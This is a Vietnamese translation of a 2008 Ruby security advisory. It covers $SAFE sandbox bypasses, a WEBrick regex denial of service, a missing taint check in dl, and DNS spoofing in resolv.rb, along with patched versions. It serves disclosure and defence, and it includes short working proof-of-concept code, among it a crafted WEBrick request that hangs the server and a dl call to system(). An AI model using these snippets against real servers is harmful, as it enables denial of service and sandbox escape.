Nhiều lỗ hổng trong Ruby
Đăng bởi Shugo Maeda vào 8 Aug 2008
Nhiều lỗ hổng đã được phát hiện trong Ruby. Khuyến nghị bạn nâng cấp lên các phiên bản mới nhất.
Chi tiết
Các lỗ hổng sau đã được phát hiện.
Một số lỗ hổng trong mức an toàn
Một số lỗ hổng trong mức an toàn đã được phát hiện.
-
untrace_var được phép ở mức an toàn 4.
trace_var(:$VAR) {|val| puts "$VAR = #{val}" } Thread.new do $SAFE = 4 eval %q{ proc = untrace_var :$VAR proc.first.call("aaa") } end.join -
$PROGRAM_NAME có thể bị sửa đổi ở mức an toàn 4.
Thread.new do $SAFE = 4 eval %q{$PROGRAM_NAME.replace "Hello, World!"} end.join $PROGRAM_NAME #=> "Hello, World!" -
Các phương thức không an toàn có thể được gọi ở mức an toàn 1-3.
class Hello def world Thread.new do $SAFE = 4 msg = "Hello, World!" def msg.size self.replace self*10 # replace string 1 # return wrong size end msg end.value end end $SAFE = 1 # or 2, or 3 s = Hello.new.world if s.kind_of?(String) puts s if s.size < 20 # print string which size is less than 20 end -
Các thao tác Syslog được phép ở mức an toàn 4.
require "syslog" Syslog.open Thread.new do $SAFE = 4 eval %q{ Syslog.log(Syslog::LOG_WARNING, "Hello, World!") Syslog.mask = Syslog::LOG_UPTO(Syslog::LOG_EMERG) Syslog.info("masked") Syslog.close } end.join
Các lỗ hổng này được báo cáo bởi Keita Yamaguchi.
Lỗ hổng DoS trong WEBrick
WEBrick::HTTP::DefaultFileHandler có lỗi gây ra thời gian xử lý theo cấp số nhân do biểu thức chính quy quay lui trong WEBrick::HTTPUtils.split_header_value.
Máy chủ có thể bị khai thác:
require 'webrick'
WEBrick::HTTPServer.new(:Port => 2000, :DocumentRoot => "/etc").start
Tấn công:
require 'net/http'
res = Net::HTTP.start("localhost", 2000) { |http|
req = Net::HTTP::Get.new("/passwd")
req['If-None-Match'] = %q{meh=""} + %q{foo="bar" } * 100
http.request(req)
}
p res
Yêu cầu này có thể sẽ không bao giờ hoàn thành.
Lỗ hổng này được báo cáo bởi Christian Neukirchen.
Thiếu kiểm tra nhiễm trong dl
dl không kiểm tra tính nhiễm (taintness), vì vậy nó có thể cho phép kẻ tấn công gọi các hàm nguy hiểm.
require 'dl'
$SAFE = 1
h = DL.dlopen(nil)
sys = h.sym('system', 'IP')
uname = 'uname -rs'.taint
sys[uname]
Lỗ hổng này được báo cáo bởi sheepman.
Lỗ hổng giả mạo DNS trong resolv.rb
resolv.rb cho phép kẻ tấn công từ xa giả mạo các câu trả lời DNS. Rủi ro này có thể được giảm thiểu bằng cách ngẫu nhiên hóa ID giao dịch DNS và cổng nguồn, vì vậy resolv.rb đã được sửa để ngẫu nhiên hóa chúng.
- xem thêm: CVE-2008-1447
Lỗ hổng này được báo cáo bởi Tanaka Akira.
Các phiên bản bị ảnh hưởng
- 1.8 series
-
- 1.8.5 và tất cả các phiên bản trước đó
- 1.8.6-p286 và tất cả các phiên bản trước đó
- 1.8.7-p71 và tất cả các phiên bản trước đó
- 1.9 series
-
- r18423 và tất cả các bản sửa đổi trước đó
Giải pháp
- 1.8 series
- Vui lòng nâng cấp lên 1.8.6-p287, hoặc 1.8.7-p72.
- 1.9 series
-
Vui lòng checkout phiên bản mới nhất bằng Subversion.
$ svn co https://svn.ruby-lang.org/repos/ruby/trunk ruby
Xin lưu ý rằng gói sửa lỗi này có thể đã có sẵn qua phần mềm quản lý gói của bạn.
Ghi nhận
Ghi nhận Keita Yamaguchi, Christian Neukirchen, sheepman, và Tanaka Akira đã tiết lộ các vấn đề này cho Đội An ninh Ruby.
Thay đổi
- 2008-08-08 12:21 +09:00 đã sửa số bản sửa đổi của ruby 1.9.
- 2008-08-11 11:23 +09:00 đã sửa patchlevel của ruby 1.8. xem thông báo phát hành Ruby 1.8.7-p72 và 1.8.6-p287
Tin mới nhất
Phát hành Ruby 3.2.10
Ruby 3.2.10 đã được phát hành.
Đăng bởi hsbt vào 14 Jan 2026
Phát hành Ruby 4.0.1
Ruby 4.0.1 đã được phát hành.
Đăng bởi k0kubun vào 13 Jan 2026
Phát hành Ruby 4.0.0
Chúng tôi vui mừng thông báo phát hành Ruby 4.0.0. Ruby 4.0 giới thiệu “Ruby Box” và “ZJIT”, cùng nhiều cải tiến khác.
Đăng bởi naruse vào 25 Dec 2025
Diện mạo mới cho tài liệu Ruby
Tiếp theo việc thiết kế lại ruby-lang.org, chúng tôi có thêm tin vui để kỷ niệm 30 năm Ruby: docs.ruby-lang.org có diện mạo hoàn toàn...
Đăng bởi Stan Lo vào 23 Dec 2025